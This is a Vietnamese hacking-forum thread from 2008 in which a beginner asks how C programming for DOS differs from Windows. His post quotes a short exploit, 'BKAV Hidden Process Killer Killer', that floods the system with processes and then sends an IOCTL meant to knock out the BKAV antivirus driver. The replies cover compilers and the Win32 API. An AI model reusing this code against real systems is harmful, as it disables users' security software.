banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận việc định hướng Lập trình C trên DOS và Lập trình C trên windows khác nhau như thế nào  XML
  [Question]   Lập trình C trên DOS và Lập trình C trên windows khác nhau như thế nào 11/06/2008 01:51:49 (+0700) | #1 | 134934
mulpu
Member

[Minus]    0    [Plus]
Joined: 18/08/2006 03:00:22
Messages: 53
Offline
[Profile] [PM]
Hi mọi người, em có câu hỏi hơi củ chuối hỏi muốn mọi người.Em đã học qua C và C++, dùng turbo C 3.0 để lập trình.Em muốn hỏi là làm sao để lập trình các chương trình trên windows , chẳng hạn các chương trình chat p2p chẳng hạn, có thể dùng chính turbo C 3.0 lập trình được ko .Em thấy rất nhiều đoạn code exploit ở nhiều nơi, đa phần thấy chủ yếu là C , nhưng mà những kiểu đó em chưa gặp bao giờ và cũng đọc trong sách cũng chưa gặp bao giờ , em muốn hỏi là để học và hiểu được những đoạn code dưới kia thì cần phải học cái gì, đọc sách nào.Và em là dân theo networking thì nên học ngôn ngữ lập trình nào để bổ trợ tốt cho ngành này.


/**
* BKAV Hidden Process Killer Killer (hpk-killer)
* Copyright 2008 Blue Moon Consulting
*/
#include <stdlib.h>
#include <stdio.h>
#include <process.h>
#include <windows.h>

#define HPK_DEVICE_NAME "\\\\.\\hpk"
#define IOCTL_HPK_QUERY_PROCESSES 0x80106004
#define PROCESS_ID_ARRAY_SIZE 0x200

static void QueryProcesses(void)
{
HANDLE hFile;
DWORD dwReturn;
DWORD buffer[PROCESS_ID_ARRAY_SIZE];

hFile = CreateFile(HPK_DEVICE_NAME, 1, 1, 0, 3, 0x80, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
printf("Querying processes");
DeviceIoControl(hFile, IOCTL_HPK_QUERY_PROCESSES, 0, 0, buffer, PROCESS_ID_ARRAY_SIZE, &dwReturn, 0);
CloseHandle(hFile);
}
}

int main(int argc, char **argv)
{
int i, count;

if (argc < 2)
{
printf("Usage: %s <number_of_processes>\n", argv[0]);
sleep(60 * 1000);
}
else
{
count = atoi(argv[1]);
printf("Spawning %d processes...\n", count);
for (i = 0; i < count; i++)
{
spawnl(P_DETACH, argv[0], argv[0], NULL);
}
printf("Killing hpk...\n");
QueryProcesses();
}
}
 


Cùng là một ngôn ngữ lập trình C thì có thể lập trình trên cả DOS và WINDOWS phải không ạ? Em dùng turbo C 3 .0 lập trình thì là chỉ lập trình cho nền DOS phải không à? Mọi người cho em một lời khuyên !
[Up] [Print Copy]
  [Question]   Re: Lập trình C trên DOS và Lập trình C trên windows khác nhau như thế nào 11/06/2008 02:07:24 (+0700) | #2 | 134940
[Avatar]
Tal
Member

[Minus]    0    [Plus]
Joined: 15/09/2007 16:50:17
Messages: 67
Offline
[Profile] [PM]
Turbo C 3.0 là bộ công cụ bao gồm editor + compiler. Bộ dịch của nó là bộ dịch 16 bits. Windows là hệ điều hành 32 bits. Vì vậy mình nghĩ là không thể dùng Turbo C 3.0 để viết các chương trình chạy trên nền Windows.

Ngôn ngữ là ngôn ngữ. Do đó bạn có thể dùng C để viết các chương trình cho Windows, Linux... Cái khác nhau là trình biên dịch. Viết cho windows cần trình biên dịch 32 bits. Một số trình biên dịch 32 bits tôi biết: cl (cài visual c++), gcc.

Để lập trình trên windows bạn phải nắm được các API do Windows cung cấp. Có thể tham khảo thư viện MSDN (Các hàm API trên windows tại www://msdn.microsoft.com).

Muốn viết các chương trình P2P, hay các hiểu các đoạn code ở trên:
- Về p2p bạn phải hiểu giao thức nó sử dụng, thư viện hỗ trợ v.v
- Về đoạn code trên: bạn phải hiểu hệ thống windows (tiến trình) và các hàm API liên quan.

Cuối cùng: các đoạn code exploit thì tập trung vào ứng dụng cụ thể + nền tảng cụ thể. Cái này không có sách nào dạy cả. Để hiểu đoạn code dưới kia đầu tiên theo mình nghĩ bạn nên học cách lập trình C trên windows.

Câu trả lời dễ hiểu?
[Up] [Print Copy]
  [Question]   Re: Lập trình C trên DOS và Lập trình C trên windows khác nhau như thế nào 11/06/2008 11:01:43 (+0700) | #3 | 134991
jforum3000
Member

[Minus]    0    [Plus]
Joined: 26/08/2007 02:53:39
Messages: 1172
Offline
[Profile] [PM]
C,C++ chỉ là ngôn ngữ lập trình ở đầu vào để viết ra chương trình,chính trình dịch mới quyết định môi trường ở đầu ra mà chương trình này sẽ hoạt động (Windows,Web,.net,hay thiết bị nào đó nếu là lập trình nhúng,...)
Turbo C dịch ra ứng dụng chạy trên môi trường DOS và Win 16 bits,với Win 32 bits thì có thể chạy giả lập với trình NTVDM
[Up] [Print Copy]
  [Question]   Re: Lập trình C trên DOS và Lập trình C trên windows khác nhau như thế 11/06/2008 19:22:08 (+0700) | #4 | 135022
mulpu
Member

[Minus]    0    [Plus]
Joined: 18/08/2006 03:00:22
Messages: 53
Offline
[Profile] [PM]
vâng cám ơn 2 anh đã trả lời , em hiểu rồi.
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|